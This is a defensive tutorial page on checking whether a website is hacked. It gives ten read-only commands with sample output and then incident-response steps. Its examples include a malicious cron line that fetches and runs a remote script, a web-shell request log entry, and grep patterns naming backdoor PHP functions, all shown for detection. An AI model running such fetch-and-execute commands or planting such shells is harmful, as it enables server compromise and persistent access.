Ravindra BagaleCourses & study guides मराठी Track your progress

Free Cyber Security Tools

Is My Website Hacked? 10 Safe Checks

By Last updated:

Quick answer: signs of a hacked website are strange redirects, spam only Google sees, new PHP files in uploads, odd log entries, unknown logins and unknown cron jobs. The 10 safe, read-only checks below help you find them.

Safe and legal

Every command here only reads. None of them change or delete anything. Run them only on servers you own or have written permission to check. Replace example.com with your own site.

Signs your website may be hacked

Why

The sooner you spot a hack, the less damage it does to your visitors, your Google ranking and your name.

What

Common signs are: visitors sent to another site, Google showing a warning or spam titles, a slow server, new files or users you did not add, and your host or Google sending a warning email.

How

  1. Search Google for site:example.com. Look for titles in other languages or about casinos, loans or medicines.
  2. Open your site on your phone using mobile data.
  3. Check your email for warnings from your host, AWS or Google Search Console.
  4. If any sign shows up, go through the 10 checks below.

Example, step by step

  1. David runs a travel blog. Google shows his pages with Japanese spam titles.
  2. His own browser shows the site as normal.
  3. Check 2 (Googlebot view) shows hidden spam links.
  4. He now knows it is a hack and moves to the clean-up steps.

10 read-only checks (command, sample output, meaning)

1. Check what your site sends back

Why: The headers show redirects, the server and security settings. A hacked site often redirects visitors to a spam or scam site.

Command:

curl -sI https://example.com

Sample output:

HTTP/2 200
server: nginx
content-type: text/html; charset=utf-8
strict-transport-security: max-age=31536000

What it means: 200 means the page loads normally. A 301 or 302 with a location: pointing to a site you do not know is a big warning sign.

2. Look at the page like Google does

Why: Some hacks show spam only to Google or to phones, so you never see it in your own browser.

Command:

curl -s -A "Googlebot" https://example.com | grep -iE "casino|viagra|loan|betting|crypto" | head

Sample output:

(no output)

What it means: No output is good. If spam words appear, someone has injected hidden content. Also try -A "Mozilla/5.0 (Linux; Android 14)" to see the mobile version.

3. Find files changed in the last 7 days

Why: Attackers add or change files, like a PHP backdoor. Files you did not touch are a clue.

Command:

sudo find /var/www -type f -mtime -7 -printf "%TY-%Tm-%Td %TH:%TM  %p\n" | sort | tail -20

Sample output:

2026-10-25 03:12  /var/www/html/wp-content/uploads/2026/10/cache.php
2026-10-26 11:40  /var/www/html/index.html

What it means: You changed index.html yourself, so that is fine. But a .php file inside uploads changed at 3 AM is very suspicious. Uploads should hold images, not code.

4. Search for common backdoor code

Why: Web shells often hide with functions like eval and base64_decode.

Command:

sudo grep -rlE "eval\(base64_decode|gzinflate\(|shell_exec\(|assert\(\$_" /var/www --include=*.php | head

Sample output:

/var/www/html/wp-content/uploads/2026/10/cache.php

What it means: Any file listed needs a closer look. Some real plugins use these words, so open the file and read it before you decide. Do not run it.

5. Check the access log for attack requests

Why: The nginx access log records every visit. Attackers leave traces like requests to shell files.

Command:

sudo grep -E "\.php\?(cmd|c|exec)=|/wp-login.php|/xmlrpc.php|\.env" /var/log/nginx/access.log | tail -20

Sample output:

185.62.10.7 - - [26/Oct/2026:03:11:58 +0530] "POST /wp-content/uploads/2026/10/cache.php?cmd=id HTTP/1.1" 200 41

What it means: A request with cmd= that returned 200 means a shell may have run a command. Note the IP address and time for your report.

6. See which IPs hit you the most

Why: A flood of requests from one IP can mean a brute-force or scan.

Command:

sudo awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -5

Sample output:

  4210 185.62.10.7
   312 49.36.21.110
    88 66.249.66.1

What it means: One IP with thousands of hits is unusual. 66.249.x.x is often Googlebot (check with reverse DNS). Block bad IPs at the firewall.

7. Check recent logins to the server

Why: If someone logged in with SSH, the server records it.

Command:

last -a | head -10

Sample output:

ec2-user  pts/0  Mon Oct 26 07:38 - 08:10  (00:31)  13.233.177.3
reboot    system boot  Mon Oct 26 07:30

What it means: Check every login. Do you know the time and the IP? A login you do not recognise means change keys and passwords at once.

8. Check the error log

Why: PHP errors and strange file paths can show an attack in progress.

Command:

sudo tail -50 /var/log/nginx/error.log

Sample output:

2026/10/26 03:11:57 [error] 1123#0: *55 open() "/var/www/html/.env" failed (2: No such file or directory)

What it means: This one shows someone looking for your .env secrets file. It failed, which is good. Many such lines mean you are being scanned.

9. Check for new admin users and cron jobs

Why: Attackers add hidden admin accounts or scheduled tasks so they can come back.

Command:

sudo crontab -l; crontab -l; ls -la /etc/cron.d

Sample output:

no crontab for root
*/5 * * * * curl -s http://185.62.10.7/x.sh | bash

What it means: A cron line that downloads and runs a script from an unknown IP is a clear sign of a hack. Note it down before you remove it.

10. Ask Google if it sees a problem

Why: Google warns visitors about hacked sites and can remove you from results.

Command:

Open https://transparencyreport.google.com/safe-browsing/search?url=example.com

Sample output:

Current status: No unsafe content found

What it means: If it says "Some pages on this website are unsafe", open Google Search Console, then Security and Manual Actions, to see the details.

If you find a hack: what to do next

Why

Rushing to delete files can destroy the evidence and miss the way the attacker got in.

What

First contain, then clean, then fix the hole.

How

  1. Take a full backup of the hacked site and logs first, as evidence.
  2. Put the site in maintenance mode or block the attacker IP.
  3. Change all passwords: hosting, SSH keys, database, admin, FTP, email.
  4. Restore clean files from a backup made before the hack, or reinstall the software.
  5. Update everything and close the hole you found (old plugin, weak password, open upload).
  6. In Google Search Console, ask for a review once the site is clean.
  7. In India, report serious cases to CERT-In (incident@cert-in.org.in) or at cybercrime.gov.in.

Example, step by step

  1. Kavya finds cache.php in uploads and a bad cron job.
  2. She backs up everything, then blocks IP 185.62.10.7.
  3. She changes all passwords and restores files from 20 October.
  4. She updates the old gallery plugin that let the file in. The site stays clean.

Ravindra Bagale's Tip

Never delete the suspicious file first. Copy it and the logs somewhere safe. The file and the log time show you how the attacker got in, and without that you will be hacked again the same way.

Frequently asked questions

How do I know if my website is hacked?

Look for strange redirects, spam in Google results, new files you did not upload, unknown logins or cron jobs, and warnings from Google or your host. The 10 checks on this page help you confirm.

Are these commands safe to run?

Yes. They only read files and logs. They do not change or delete anything. Run them only on your own server.

Why does my site look fine but Google shows spam?

Some hacks show spam only to Googlebot or to mobile visitors. Use curl with a Googlebot user agent to see what Google sees.

Should I delete the hacked files right away?

No. Back up the files and logs first so you can find how the attacker got in. Then clean up and fix the hole.

Where do I report a website hack in India?

Report to CERT-In at incident@cert-in.org.in, and for crimes such as fraud use cybercrime.gov.in or call 1930.

  1. 28. Introduction to Digital Forensics
  2. 39. Malware Threats
  3. 6. Linux Advanced Commands
  4. 7. Apache and Nginx: Install and Understand
  5. 26. Privilege Escalation
  6. All free Cyber tools